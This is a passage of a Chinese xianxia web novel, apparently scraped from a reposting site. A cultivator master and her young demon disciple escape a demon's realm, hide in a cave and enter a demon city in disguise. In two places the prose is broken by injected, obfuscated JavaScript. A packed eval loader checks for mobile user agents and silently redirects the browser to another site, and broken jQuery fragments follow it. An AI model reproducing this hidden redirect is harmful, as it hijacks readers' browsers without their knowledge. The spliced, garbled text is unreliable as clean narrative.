昏迷前设下的阵法还在运转,她伸手触碰,目光凝于其上,已然看出结界外层极细微的尖利爪痕。 除了她二人外好似再无人声,但暗中自有饥肠辘辘的鬣狗正盯着她们。 “师尊,您的伤口……” 正取出传讯器准备尝试联系昆仑众人,陡然听见身后传来小魔担忧的声音,随即一双手伸来将她扶住:“方才没顾得上,我现在给您包扎一下吧?” 崔满盯着女人后背蔓延至前方腰腹处的伤口,嘴角用力抿起,脑中浮现出崔扶仙将她紧紧护在怀中的模样。 师尊这样的天骄之女或许从未如此落魄过,端正束着高髻云鬟的玉冠被击碎,及腰处的墨黑长发凌乱披散。身上白衣染做血衣,脸上却丝毫血色也无。虽极力隐忍痛楚,但起身时动作不便,竟要撑着长剑才能站稳。 崔满随崔扶仙修行多年,不会不知道自己师尊是何等孤高骄傲之人。 只一会儿功夫,被女人清理得露出雪白本色的衣裙再次被鲜红血液浸湿。 她身上的伤口太多太深,崔满的血帮助她加速愈合,可毕竟时间尚短。现在崔扶仙一动,许多伤口被她的牵扯着重新裂开。 “暂时不用。” 输入几次灵力传讯器都无反应,大概是被屏蔽了。 没有拒绝小徒的体贴,崔扶仙的视线在她那两条走起路来一瘸一拐的腿上扫过:“吃药了吗?伤到了哪里?” 小魔点点头:“师尊放心,只断了几根骨头,里头有些出血。刚刚吃了药,现在感觉好很多。” 之前将她送去天权峰上学过两年,小魔头自个儿懂医理。崔扶仙端详着她的脸颊,并无勉强之色,这才轻轻拍了拍她还搀着自己的爪子:“时云鹤与我一同下山,程萤秋想来无事。既然是你主动邀约,回去后便与她赔个罪。” 师尊开口,崔满无不应之理:“小满晓得,回去便去看望她。” “还有,你归去后给我好生呆在瑶光峰上修炼,不许随意下山。” 崔扶仙瞥了好强的小魔头一眼:“本来不想现在告诉你。我在一些以武入道的功法典籍中寻到启示,或许可以帮你突破境界。你先试试,不能用再另做打算。” 镯子里还藏着挖来的魔核,崔满愣怔听女人一句一句有条不紊地与自己说话,进入秘境后一直提着的心无声无息间自嗓子眼缓缓落回胸膛里。 原来师尊一直在为她找修炼的法子。 崔满忽然涌上股抑制不住的委屈,眼眶发热,轻轻嗯了下,再使不出巧舌如簧的本领、说出些哄师尊的话。 身后披着的麻花辫乱糟糟的,像炸了毛一样欲散不散。 眼见自己养的狡猾小魔头又变成了红眼睛兔子,崔扶仙摸了摸她的炸毛辫子,嗔怪道:“这么大的人哭来哭去像什么话?打起精神,先看看怎么从这儿离开。” 不过几句话的时间,结界微震,上边又多了几道爪痕。 女人服下灵丹,手指一直紧攥剑柄:“我昏迷时可发生过什么异象?” 知道轻重缓急,崔满抬袖抹了下眼睛,仔细回忆,却是摇头:“……师尊昏迷了将近两个时辰,我太着急,没太注意。但除了阵法一直遭受攻击,附近没有明显的异象。” 小魔绞尽脑汁地想着,神识里沉寂许久的残魂突然出声。 红雾涌动,残魂的声音仿佛比之前稳重冷静数倍,不再那般疯疯癫癫的不着调:【这是大魔界域,里头遍布幽魂、隔绝灵气,是大魔随身的捕猎囚笼。】 【你们现在一直向北行去,边缘有一处薄弱屏障。这只魔大概要回魔域领地,击破屏障后会掉到哪儿就不知道了。】 听着有模有样的,但崔满已经被她坑了一次,如今半信半疑:【你怎么知道这里的薄弱处?】 【闻出来的。】 残魂冷笑:【你现在除了信我还有其他办法吗?你不信可以,把我的话转述给崔扶仙,让她自己走。】 【你死在这儿没事,她不能,我要亲自对她复仇。】 才正常没一会儿,又开始发癫。 崔满皱了皱眉,权衡两瞬后只得承认她说的不错。 现在师尊重伤,除了相信残魂的话外别无选择。 指尖捏着张符箓,崔扶仙想借此尝试感应天地,找找出去的法子。 然而符箓刚烧半截,旁边的小魔揪了揪她的袖摆,略带忐忑地开口:“师尊……我好像感觉到了什么。” 崔扶仙闻言侧眸:“你感觉到什么?” 小魔脸上显露纠结犹豫之色,好似不太能确定,挣扎片刻后对视上师尊的目光,嗫嚅告知:“我感觉我们或许要往北边走,师尊,我闻到了。” 【你闻到个锤子!那是我闻到的!】 “你闻到了?” 崔扶仙意外地扬了扬长眉,抬眸朝北望去,沉吟片刻后果决颔首:“那便去看看,反正也没其他法子。” 毕竟是个小魔头,说不定崔满就与魔族之物有所感应呢? 她行事干脆,话音方落便抬手将周遭的阵法结界幻化为灵力护罩,提起长剑拎着小魔就往北行去。 这一路走得不快,二人皆带伤,此处亦无法施展灵力飞行。岩石陡峭起伏,途中还遇上许多飘浮不散的冤魂。 索性崔扶仙保留着三成功力,没有实体的小鬼暂且不是她的对手。 界域无日夜,不知究竟走了多久,二人终于望见一处凹凸不平的赤红岩壁,里头仿佛有东西在蠕动。 炎热滚烫的气息令崔扶仙忍不住地拧眉,她旁边火属性的小魔倒是感觉尚好。 伸手将崔满掩至身后,女人凝聚剩下的全部灵力,面容冷厉,毫不犹豫地持剑挥去。冰蓝寒光顷刻汹涌爆发,随她的利剑一齐斩向岩壁。 快要击中之时岩壁似有所感,赤红烈焰轰然腾起,与崔扶仙直直对上。对击掀起的巨大冲击波击碎护在她们周身的灵力罩,险些把躲在师尊身后警惕观战的崔满击飞。 修为低下的小魔惊恐:“师尊!” 险之又险,女人分出心神给她,一抹长纱掠出,牢牢捆住崔满腰身,又挥袖为她挡去扑至面前的力量。 蠕动加速,岩壁上遽然长出道缝隙。 崔扶仙眯眸,手中长剑翻转,不顾几乎要燃至身上的焰火,以伤换伤地在缝隙睁开之际豁然刺入。 这哪里是个岩壁,分明是肉壁! 缝隙下是一颗眼珠。 大魔愤怒的嘶吼哀嚎声响彻此间,脚下的岩石都仿佛在震颤。 当机立断,崔扶仙反手扯着长纱将小魔拽进怀中,继而抱住崔满持剑冲向喷涌出黑红血液的地方,指尖另藏着两枚传送符。 脸上糊着血,在勉强捕捉到光亮的那一刹,她连续撕裂两枚符纸。 因事先没有布好对应的传送阵,传送符只能随机将她们传去远方。 外头是白昼,身上伤口全部撕裂,体内灵力没有丝毫好转,反而更加凝滞。再次站稳时,崔扶仙甚至感觉不到周边灵气。 抬眼望去皆是枯藤古树。 身旁伤势较轻的小魔乖觉扶住女人,声音中藏了些说不出的情绪:“师尊……这里好像是魔域。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899719|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是很意外,崔扶仙默然取出两颗药丸,自己服下一颗,另一颗递给崔满。 小魔接过药丸,见师尊咽下去后身上气息似有所变,不由得好奇询问:“师尊,这是什么?” “模拟魔族气息的药。” 崔扶仙才吞下没多久便拂开崔满的手,自己撑着一旁的树干低头吐了几口淤血。 吐出来后嗓子舒服不少,又吃下几颗疗伤的药,她脸上不见慌张,偏头与小魔说:“先找附近有无洞穴。我需要包扎疗伤、将沾血的衣物处理掉,以防魔族闻见气味寻来。” 身上衣裙破了不知多少个口子,方才又打了一架,此时简直惨不忍睹。 师尊是主心骨。 身处陌生环境,小魔一直紧绷着、无意识地贴近女人,听完后毫无异议,脑子转了转,从镯子里取出之前做的小玩意丢至地上、令它先去附近查探。 修为升不上去就只能在旁的方面下力气,崔满会的东西很杂。 第一次见她取出这些玩意,崔扶仙打量后并不吝啬,给了句夸赞:“瞧着颇为精巧。” 崔满弯眸,将女人搀着坐下休憩:“我还做了许多,师尊若是喜欢就都送给师尊。” 还算孝顺。 背脊太疼,不想靠在硬邦邦的树上,崔扶仙将小魔头当成软枕,阖眸倚着崔满比自己瘦小不少的肩膀,微微勾了下唇,似应非应地发出声鼻音,没有再说话。 形如老鼠的小玩意很快跑回来,崔满伸出手指按在它脑袋上接收里头存储的画面,面露喜色:“师尊,找到了!附近确实有个洞穴,应是之前猛兽所留,看样子已经废弃,我们可以在那儿落脚休憩!” 实在不舒服,崔扶仙揉了揉抽痛的额角,由小魔搀扶起身。长剑收回剑鞘,她手里捏着几张攻击型符纸,在眼前再次发糊前抵达洞穴。 如崔满所说,里头明显荒废了段时间,尽是些枯叶杂草和吃剩的骨头。 小魔让师尊先坐下,主动打扫了一遭,又取出几个小机关去外边站岗,继而动用自己那点微弱灵力挡住穴口,这才拍拍手准备转身。 “师尊,我……” 身子还没完全转过去,头先撇了大半。 眼睛骤然睁大,崔满嘴里的话结结巴巴地卡住,好一会儿才反应过来,连忙重新转过身背对已经褪下衣裙、仅留一条长裤一条肚兜的女人。 但僵住不过几瞬,她想起崔扶仙身上布满的看起来极为惨烈刺目的伤痕,又垂着脑袋走至离女人三尺处:“师尊,需要我为您上药吗?” 谁会在一只没成年的小魔面前避嫌? 将手里破烂的血衣震碎,崔扶仙看了看鹌鹑一样用力埋下头的小魔,并未多想,抬手将长发拨至身前,把刚取出来的药递去:“给我擦一下背后的伤口,其余的我自己来。” 崔满肃然板起脸,逼自己不要乱动眼睛,比往日还要恭敬,双手接过后认认真真地给女人上药,小心控制力道。 这是师尊为了保护她所受的伤。 小魔心下滋味万千、复杂难明。 然而,她这边在尊师重道,她脑子里的疯子却一点不顾及她的感受,此时通过她的眼睛细细观察许久,竟痴痴笑了起来。 【果然是她,我就知道是她。她背后这颗红痣,我做鬼都不会认错。】 什么红痣? 崔满眉头一跳,下意识顺着残魂的话扫去,果真看见师尊背脊上方靠脖子处生着一粒红痣、与眼角旁的所差无几,只瞧着颜色要深些。 神识里的疯子犹然在笑,语气暧昧:【瞧我这记性,又忘了你还是个毛都没长齐的小屁孩儿,大概是不懂这些的,我便不说与你听了。】 无耻下流之徒。 崔满恼恨:【谁要听你的鬼话?不许偷看我师尊!】 尚在闭眼养神,身后小魔头的动作突然变快,活像后头有鬼追着她咬似的,崔扶仙扭头:“怎么了?” 难得没第一时间回复师尊,崔满飞快将师尊背脊上的伤口处理完毕,继而又在女人略微惊诧的视线下将手往前伸,顺便把师尊腰腹处的伤口也一齐上了药。 砰。 小瓷罐落至地面,发出轻轻的碰撞声。 崔满将自己仅有的几件法衣之一放大,沉着脸为崔扶仙披上,这才松了口气般舒展开眉心,大着胆子劝告:“师尊,以后宽衣解带时要警惕些,防止有不轨之徒暗中窥探。” 不轨之徒? 崔扶仙陡然被牢牢裹住,一时间也不恼,有些好笑:“此处无旁人,仅有我与你。你还是个毛都没长齐的孩子,我难不成要防你吗?” 又是这句话,崔满不太高兴。 见小魔头闭上嘴巴,崔扶仙摇了摇头,收回视线后自顾穿衣挽发。 就在她快收拾好时憋着气的小魔站在洞口、背对她,忽而小声抗议: “您不能这样说我,我不是毛都没长齐的孩子,我快要成年了。” 11. 第十一章 还不服气上了。 擦完药身子清爽不少,崔扶仙心情尚可,此时敛眉系好腰间宫绦,闻言后觉得小兔子魔头有几分可爱,却并不惯着她。 群青流苏垂落,她慢慢抚平身上不太常穿的圆领长袍,将小魔的衣裳扔回:“你长再大都是我的徒儿,在我眼里就是孩子。” 险些被丢来的衣裳盖住脑袋,崔满撇了下嘴角,还想说些什么,侧眸瞧去时却刚好对上女人含着笑意的凤眸。 崔扶仙饶有兴味,明知故问:“怎么,你不服气?” 像是闯入一汪融化开来的雪水,崔满抱着衣裳张了张嘴,心底自觉被小觑而升起的小火噗的一下莫名熄灭,只余几缕灰烟在上空若有若无地盘旋不散。 是师尊的味道,香香的,夹着血气。 小魔一时说不出话,低头瞧去,原是从怀里的衣裳上飘出来的。 如同被烫着,她连忙将外袍塞进镯子里,勉强找回自己的声音,方才的不甘不愿早散了大半,飘飘忽忽道:“……服气,小满服气,师尊说什么就是什么。” 闹了这一通,外边天色渐暗。 崔扶仙走至她身前,奖励似的揉揉她炸毛的大辫子,随后拍着她的肩膀示意小魔去里头打理:“我在门口打坐片刻,你收拾好后叫我,我需休憩一晚。” 还没彻底长好,刚到女人肩膀处,如今离得这样近,崔满得抬头才能看清崔扶仙的脸。 她暗自平复心底不知缘由的波澜,顺从应下后又忍不住问:“师尊,我们接下来该做什么?” “明日到附近魔族城池里打探情况。那只大魔没死,不会这么轻易就放过我们,想出魔域大概有些困难。” 已至洞穴口盘腿坐下,崔扶仙抬手给穴口结界另添一层,又扔去两张隐蔽行踪的符纸,阖眸思忖:“在魔域境内不可再以师徒相称,亦不可再用本名。” 小心翼翼躲在角落里换衣裳,崔满眸光微闪,刚欲试探着唤声阿姊,却听女人自顾给了她几个选择:“出去后我名月娥,你名月满。你想唤我母亲或是姨母、姑母?” 嘴里的话被狠狠噎住,手里的衣裳带子来来回回打了三遍都愣是没系上。崔满险些以为自己听错了,不可置信地回头去看端坐于洞穴口的女人,愣了半天才迟钝发出声音:“……师尊,你说什么?” 连您字都忘了加。 围观全程的残魂在她脑海中哈哈大笑:【耳朵聋了吗?崔扶仙说她想当你娘!】 残魂看热闹不嫌事大,戏谑挑祸:【她说的哪里不对?一日为师终身为母,养了你这么些年,要你叫声母亲有何不可?】 额角直抽抽发疼,崔满在脑中怒斥:【闭嘴!你先前不是说你也是师尊的徒儿?你怎么不叫师尊母亲?!】 红雾弥漫散开,跳舞似的转了又转,残魂不无得意地轻笑:【我与她是上过床的师徒,自然与寻常师徒不同。】 在梦里上过床吧? 崔满咬牙忍耐,不想跟这个疯子计较。 那头坐着的人丝毫没有察觉她的异样,淡淡重复了遍自己的话。 不过良久后仍未听见小魔的应答,崔扶仙也稍微反应过来,料到那注重隐私的小魔头还在更衣,便不曾回头,只问:“小满,你不愿意?” 手指绞在系带上,崔满低头狠狠给自己打了个死结。原是想忍气吞声地答应,但脑子里浮现过女人含笑的竟好似有些温柔的眼睛,落在舌头上的字立马打了几个圈,最后细声细语吐出来的却是:“……不愿意。” 向来识趣、甚少忤逆师尊的小魔头瘪着嘴巴拒绝:“师尊,我与您看起来差不多大,不想唤您这些称呼,可有其他选择?” “你如今不过十余岁,我却已百来岁,怎会看起来差不多大?” 有意思,崔扶仙确实觉得自己养的这只小魔有些好玩。 她睁开双目,双手依旧放松搭在膝上,颇为纵容地将问题踢给自尊心极强的小魔:“你既然不愿称我为长辈,大概是心有成算。你想叫什么?” 女人轻轻点了点膝盖,眼尾微挑:“若不过分,我都依你。” 崔满飞快穿好与师尊相似的袍子,略显狐疑:“真的吗?” 竟敢怀疑师长,崔扶仙弹指袭去一缕灵力,当木鱼般敲了敲小魔头的脑袋:“真的。但你若吞吞吐吐说不出来,明日出去后便与我以母女相称。” 才不要。 小魔朝角落里踢掉鞋子,换上双干净长靴,撕开几张洗尘符囫囵收拾一番后拍拍长袍,既而跑到崔扶仙身后蹲下。 晓得师尊偏好自己什么模样,崔满摆出无辜可怜的表情,捏住女人腰间宫绦,探头提议:“那……我想叫师尊阿姊,可以嘛?” “师尊貌美,我不想那般称呼师尊。” 偏圆的杏眼闪烁出希冀光亮,少年人脸颊两侧还有些未褪干净的软肉。崔扶仙只侧眸瞥了她一下,便手指发痒,不由得抬手将装模作样的小魔头捏成金鱼嘴,低斥:“巧言令色,与谁学的花花嘴?” “才不是花花嘴。” 看出师尊根本没有生气,崔满干脆顶着被捏出来的金鱼嘴巴,吐泡泡般撒娇:“句句属实,从心而出,不敢哄骗师尊。” “师尊说过会依我的。” 手感着实不错,崔扶仙又捏了捏她的脸,指腹携着警告意味按上嘟起来的金鱼嘴,哼笑:“我说话自然算数,但仅此一次。” 省得本来就野的心再养野几分,竟连师长都敢调戏。 女人指腹有层练剑练出的薄茧,按着倒是不疼,小魔眼珠子一转,乖巧应是:“好,小满都听师尊的。” 崔扶仙早看透了她,先行放开手起身:“你若当真如此听话就好了。” 她难道还不乖? 崔满揉揉自己的脸颊,不敢再多话,防止真惹恼师尊。 猜想崔扶仙是准备休憩,她殷勤地从镯子里取出张宽大毛毯铺在方才打扫好的地上,又摸出软枕放好,重新低眉顺眼地当孝顺徒儿:“师尊,请。” 想不通她怎么会带枕头出门,不过既然接收到小魔的讨好之意,崔扶仙也不客气,曲腿坐下后扫了眼垂头捧着手候在一旁的小魔头:“你呢?” 崔满盯着师尊腰间垂下的那抹群青色流苏,老实巴交地小声答:“徒儿只带了这些东西,师尊先用,我去洞穴口靠着便好。” 毫无动容,崔扶仙眉头都没动一下,淡淡道:“是吗?倒是委屈你了。” 与她想的不大一样,师尊还是如此铁石心肠。 小魔有些失望,磨磨蹭蹭背起手转过身,抬脚要往外头走。 好整以暇地欣赏了番小魔头学蜗牛的表演,直至崔满快要走到洞穴口,崔扶仙才看够了戏,以指骨敲了下地面:“过来。” 两只耳朵骤然竖起。 崔满以方才两倍多的速度折回去,恭敬立于师尊身前。 残魂不屑:【怂样,没出息。】 让出块位置,崔扶仙可没忘记当初捡回小魔头的第一个晚上。 她拍了拍毯子,与崔满约法三章:“给我规规矩矩地睡觉,不许闹、不许吵、不许乱动。” 圆圆的杏眼立刻弯起,小魔全盘接受,信誓旦旦地保证:“知道了,师尊放心。” 话罢,她仰面躺下,双手放在腹上,用眼神示意师尊自己很听话,不会吵也不会闹。 好几年不曾这般亲密相处过,崔扶仙伸手捂住崔满的眼睛,神色微软:“睡吧。” 因背上疼痛不休,她只得侧着身子休憩。 与其说睡觉,不如说是闭目养神,崔扶仙素来不会让自己在陌生且危险的环境里处于意识朦胧的状态。若非伤势太重、神识有损,她此时本该继续打坐修炼。 然而,刚安静个把时辰,突然有只温热的家伙一拱一拱地滚进她怀中。 崔扶仙:…… 不用睁眼都晓得是谁。 真的睡着了吗? 皱眉捏住小魔头的鼻子,崔扶仙看着崔满丝滑张开嘴巴呼吸,一时间无语。 但已至这个点,她懒得动弹、也懒得将人叫醒折腾,认命放下侧边手臂,全当怀里多出个暖炉。 ————————— 魔域占据焱、隐、蚩三州,最西部临近无妄海,是魔族与一部分入魔的人修妖修盘踞之地。 万年前三族之战后魔族与人族的关系愈加恶化、势如水火,魔域中的人族魔修除非修为极为高强,否则都会遭受敌视和驱逐。如今人族魔修不多,几乎全部聚集于最临近人族领域的隐州。 与隐州相对,靠近妖域的蚩州里入魔妖修较多。 而魔君,坐镇焱州。 魔域三州分城池,亦分大魔领地。 此处隔绝灵力,传讯器依旧打不开。 身上带伤,修为被压制,身边还有个小魔需要保护。在洞穴中休憩打理完毕,崔扶仙现在首先要知道的就是她们究竟位于何方、距离隐州边界又有多远。 索性她从前为了以防万一,将魔域妖域的货币都准备了许多,暂且无需为钱财而烦心。 外头或许已经布满她们的悬赏令,出洞穴前崔扶仙递给崔满一张面具,戴上后可幻化容貌,合体期以下的修士看不出来。 几只小老鼠状的法器在前头探路,崔满透过它们的眼睛观察四周。她们一直向南走,翻过荒山野岭,终于远远望见片黑岩石砌成的城墙,城墙上方悬着一面银纹墨旗、中央绣着骷髅鬼面。 今日魔域阴云密布,外边雾霭浓浓、狂风四起,那 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身着黑甲的魔族守卫持枪拦住她们,其中之一上下打量了一遭,见是两个陌生面孔,当即指了指侧边闪烁幽光的圆形屏障:“从那边走。” 崔满面露好奇,弯唇笑道:“我与阿姊第一次经过黑锋城,可否问一下这是要做什么?” 伸手不打笑脸人,魔也是一样。 左侧的女魔瞟了这小丫头一眼:“近来总有心怀不轨的人族乔装入城,这道屏障乃是我们所设,专抓人族。” “你们二人此前没来过黑锋,想进城就必须从这儿走。” 心中一跳,崔满下意识看向师尊,却见女人无甚表情地颔首,竟平静附和:“人族狡诈,不得不防,确实有必要设此关卡。” 说完,崔扶仙也不拖沓,先行走向那道屏障。在穿过之际她换上体内的妖族血脉,只一瞬功夫便顺利自屏障中行出。 虽知不是时候,但崔满仍不受控制地睁大了些眼睛。 女人偏过身朝她伸出手:“小满,过来,莫要浪费时间。” 不知师尊是如何逃过屏障,更害怕师尊看出自己是魔族。 崔满在原地踟蹰了片刻,视线落在女人向自己伸出的那只手上,恍惚间想起很多年前她还在田野中挣扎求生的事情,手指不觉掐了掐掌心。 见她不动,崔扶仙微微蹙眉,再次唤:“小满?” “来了,阿姊。” 无声呼出一口气,崔满硬着头皮穿过屏障,顺利至极。 守卫见屏障没动静后便不再关注她们,任由二人往城中行去。 旁边是何风景早已看不进去,崔满蹭到女人身旁,先发制人:“阿姊,方才那是?” 崔扶仙扫视街道两侧,就知道她会这样问,冷静忽悠小魔:“你忘了昨日吃的东西?” 昨日吃的……是那颗药。 疑惑顿解,崔满印象中师尊高傲、并不屑于说谎,提起来的心瞬间落下,扬起笑脸顺着女人的话感叹:“原来是这样,好神奇的药,果然还是阿姊思虑周全。” 惯会甜言蜜语,崔扶仙瞧了小魔一眼,刚要说话,余光敏锐发觉远处有根长戟遥遥抛掷而来、带出一阵凛冽呼啸之声。上头附着狂躁魔气,修为已逾元婴。 长戟所指的对象,不偏不倚,正是崔满。 小魔修为低,犹然仰面看着她,未曾发觉危险。 心思百转,崔扶仙伸手按住崔满肩膀,放出灵力屏蔽她的感知,就这么任由她暴露在长戟袭击之下,漠然注视着这个被自己养大的孩子、指尖于崔满脸颊滑过。 周边似有惊呼,长戟破空飞来,尖刃泛起森寒利光,眼见便要将这个年岁不过十余的小魔头刺穿头颅、就地斩杀。 小魔神魂深处,红雾凝滞,未发声。 终于,在利刃将近割裂崔满皮肉之际,一直屏蔽着小魔感知与视线的灵力撤掉。危险的气息令崔满汗毛竖起、瞳孔紧缩。 生死关头,她被身旁的人用力扯去,脚下踉跄,一头扎进散着微凉气息的怀抱,双手下意识搂住女人的腰。 一缕被气流切下的发丝缓缓飘落。 惊魂未定,又陡然钻到师尊怀里,崔满身体僵硬、脑中一片空白,手指不觉攥紧师尊身上的衣服。 而救下她的人并不曾将注意放在她身上。 崔扶仙眯眸望着长戟与崔满擦边飞去、扎入地面。魔气爆裂,将周遭地面撞了个粉碎,生生炸出个大坑。 神识深处一片寂静,曾尖叫着催促她救下崔满的声音毫无动静。 女人的眉梢极轻微地动了下。 系统呢? 也被魔域屏蔽了吗? 12. 第十二章 “……师尊?” 缓了好半晌才逐渐回过神,崔满垂眸望向那把插入地面的长戟,眼睛深处极快闪过阴冷之色。后知后觉升起的惊骇尚未彻底褪去,愤懑便先一步汹涌冲来。 身处魔域,不得不低头。 崔满咽下喉中涩意,并不掩饰自己的惊魂未定,紧揪着女人腰间宫绦,却无后话。 “不怕。” 借她试探了下系统,崔扶仙安抚地拍了下小魔肩膀,随即将目光投向远方,已然注意到那边有个身着黑金盔甲的女魔骑着踏焰战马威风凛凛地朝她们所在之处驰来。 女魔两手空空,长戟应是她扔的。 黑锋城并不热闹,来往魔族大多肃静、佩戴铁制护腕,更像训练有素的军中士兵。而此女修为不过元婴,行事倒分外张狂、敢当街纵马和投掷武器,不知究竟是何人。 烈焰灼烧的气息愈来愈近,崔扶仙不喜,将小魔稍稍掩至身后,下一瞬便与双赤红瞳孔对视上。 坑中长戟嗡嗡作响,径直飞回女魔手里。 险些被击杀的受害人并未得到道歉。 来者倨傲、毫无愧意,勒马停于不远处后居高临下地扫视过师徒二人,嘴角不屑轻扯,嫌恶斥责:“又是外来的魔族。” “以后走路长点眼睛,本君的戟可不认魔。” 实在火上浇油,崔满低头没有做声,怒气燃至巅峰。 不过,泛着凉意的手背忽而伸来碰了碰她。 小魔抿唇瞧去,别扭两瞬,还是勉强松开攥在掌心里的指头,轻轻牵住师尊的手。 崔扶仙神色无波,如同未曾听见这番颠倒黑白的挑衅垃圾话,仅静立于原地目送女魔骑马离去,眸底有几缕冰蓝幽光一闪即过,悄无声息间溶进马蹄焰火之中。 远处站着一队背负长刀、身着黑甲的魔族,为首二魔正扣押一个浑身鲜血、看不清面容的人族魔修,魔修肩上血洞恰与女魔手中长戟形状吻合。 女魔方靠近便以长戟枪头狠狠甩了不知死活的魔修几下:“给本君戟都投歪了。拖回去上点手段,本君就不信抓不出他的同伙!” 声音渐远,闹剧落幕,四周本停滞不动的魔族见怪不怪地收回目光、重新做起各自的事情。 掌心中的手指好似在动。 崔扶仙偏头去看身后的小魔,察觉她两边无意识往下撇的嘴角,晓得她心中有气,便捏了捏她的后脖颈:“别气了,赔你一匹马。” 崔满记仇,已将女魔的面容牢牢印在心底,正平复沉闷怒意,陡然听见女人这句话,翻涌的思绪骤顿,不禁眨了眨眼睛。 脑中灵光一闪,她想起女魔骑着的那匹踏焰骏马。 恍然抬头,小魔本黑黝黝、阴暗无光的瞳孔像是被谁点进了一簇火苗,亮晶晶地盯向师尊,分明被哄得高兴起来,却要咬着嘴巴装一装宽容体贴。 旁边没有魔族、崔扶仙开口时就在身侧布下隔音阵,但崔满仍牵着女人的手放轻声音,几乎用气音偷摸摸地与师尊说:“阿姊,这样不好吧?被他们发现了怎么办?” 叫阿姊叫得还挺顺口。 哪里看不出小魔头雀跃起来的情绪,崔扶仙捏住装模作样的小魔头的耳垂:“届时大概早已回去,叫他们来瑶光峰寻我讨债就是。” 没人不喜欢被维护的滋味。 崔满见师尊没注意,便也装作没发现的模样不肯松开被师尊牵住的手,此时贴在女人身旁惺惺作态:“多谢阿姊替我出气。阿姊放心,我已经不生气了。方才不过是一场意外,我没放在心上的。” 这话说得大度,崔扶仙意味不明地瞟了她一下,懒得搭理。 当年刚将崔满带回瑶光峰时她曾借望舒的眼睛观望过小魔头跟程姓丫头的斗法,明面上是那丫头蛮横、经常来找崔满麻烦,背地里倒反着来。 要么人家衣袍着火,要么人家走路撞树、跌进水池,亦或炼丹炸炉、画符作废,怎一句霉运连连可以概述。 究竟是谁做的? 总不会是她养的这只善良大度的小魔做的。 ———————— 出乎意料,黑锋城中暂且没有抓捕她们的悬赏令。 崔扶仙寻了家看起来热闹些的客栈,塞去一袋魔晶,白发老魔当即捏着鼓囊囊的袋子眉开眼笑。 然而,听见她的问题后老魔笑容微敛,打量二人片刻:“你们是从哪里来?为何要去隐州?那儿住的大多是些人族。” 提至人族,他声音里露出浓厚的排斥和厌恶。 这次未要崔满开口,女人眉目淡淡,单手撑着桌面,话里难掩戾气:“我姊妹二人出身蚩州,欲往隐州寻仇,你只管说此处离隐州还有多远。” 掂了掂手里的魔晶,老魔沉吟几瞬,顺着她的话往下答:“你们若从蚩州来,方向倒没走错。我们这里是焱州北境、苍欢将军的领地,离隐州不远,一直往北经过几座城就能到。” 蚩州偏南,焱州位于蚩州北部,隐州最北。 也该是这样。 隐州边境是魔族与人族交接之处,大魔从昆仑将她们带出后若想回魔域就必须从那边儿通过,所以她们撕开传送符落脚的地点离隐州不远。 崔扶仙摩挲着杯口,面露诧异:“原来是苍欢将军麾下,怪不得外头皆配黑甲。不过我听闻苍欢将军是出了名的严厉、眼里容不下沙子,方才却见街上有人放肆纵马。那是谁?怎敢如此大胆?” 这种描述在黑锋找不到第二个,老魔连忙做噤声手势,检查周边隔音阵正常、亦无人关注后才松了口气:“可不敢妄议,那是我们城主,刚上任不久……据说与苍欢将军有血亲关系。” 崔满撇了下嘴,用力啃手里的点心,没插嘴。 见她们不知情势,老魔好心劝:“最近许多外地魔入城,甚至还有混进来的人族。城主府前几日才闹了事,现在城主满大街抓人。你们当心点,别撞到枪口上。” 崔扶仙若有所思,颔首:“多谢告知。” “还有一件事,你手中可有地图?若有,我与你买一张。” 猜到她要看路,老魔想了想,透过旁边敞开的窗户给她们指了下:“我手里没有,但街对面不远处有家卖杂货的,就那家。那个妖修什么东西都能掏一掏,应该有地图,你们可以找她买。” 目送老魔离去,崔满拍拍手,弄干净手上的点心屑,探头询问:“阿姊,我们现在就去买吗?今天出城还是在这儿留一宿?我们先前好像走反了,应该往北走的。” 两头脏,只顾一头。 强迫症犯了,崔扶仙捏着帕子给她擦了擦嘴角的点心屑,继而将脏了的手帕丢给小魔:“现在就去,今日出城。黑锋城里恐有动荡,还是趁早离开为好,省得明天走不掉。” 也是这般想的,崔满乖乖点头,非常自然地将师尊的手帕塞进镯子:“那我们买完东西就走,得从刚才进来的门出去。” 原本城池大多都会配备与其余城池间的传送阵,可阵法所需魔晶数量巨大,且要以魔气启动。 她们有魔晶却不多,又没有魔气,无法动用阵法,只能一座城一座城地走过去。 崔扶仙瞧了下桌上空掉的两个盘子:“饱了吗?要不要买些带到路上吃?” 魔域的点心感觉比之前吃过的都要好吃,崔满摸摸其实并不会饿的肚子,嘴巴仍然有些馋:“回阿姊,我饱了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899721|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我还想吃,可以带吗?” “有何不可?” 再急也不急这点功夫,崔扶仙招来跑堂另打包几份点心存进崔满镯子,这才拎起心满意足的小魔头朝方才掌柜所指的方向寻去。 老魔说的杂货铺店面很窄,门匾上刻着千机两个字,里头昏暗无灯,乱糟糟摆着各色物件。 此时除了她们外没有客人,连店主的人影都没看见。 入内后扫视一周,崔扶仙敲了敲摆在正中央的柜子,目光落向柜子后边站在木杆上的绿色鹦鹉:“店家何在?” 鹦鹉歪了下脑袋,张嘴吐露人言,嗔怪:“你明知道我就在这儿,非要逗弄我,真讨厌。” 崔扶仙未作表示,崔满听得怪异,藏在神识深处安静一路的残魂却骤然出声:【矫揉造作。】 